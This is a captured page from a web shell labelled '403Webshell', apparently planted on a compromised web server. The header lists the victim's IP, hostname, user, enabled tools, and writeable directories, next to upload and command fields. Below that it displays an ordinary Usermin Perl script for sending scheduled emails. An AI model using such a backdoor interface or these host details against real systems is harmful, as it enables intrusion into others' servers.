403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/usermin/schedule/atmode.pl
#!/usr/bin/perl
# Check for one-off scheduled emails that have not run yet

$no_acl_check++;
$ENV{'REMOTE_USER'} = getpwuid($<);
require './schedule-lib.pl';

$now = time();
foreach $s (&list_schedules()) {
	if ($s->{'at'} && $s->{'at'} <= $now &&
	    (!$s->{'ran'} || $s->{'ran'} < $s->{'at'})) {
		# Can run this one
		if ($s->{'enabled'}) {
			$mail = &make_email($s);
			&mailbox::send_mail($mail);
			$s->{'ran'} = $s->{'at'};
			&save_schedule($s);
			if ($s->{'delete_after'}) {
				my $sched = &get_schedule($s->{'id'});
				my $cron = &find_cron_job($sched);
				&delete_schedule($sched);
				&cron::delete_cron_job($cron) if ($cron);
				}
			}
		}
	}


Youez - 2016 - github.com/yon3zu
LinuXploit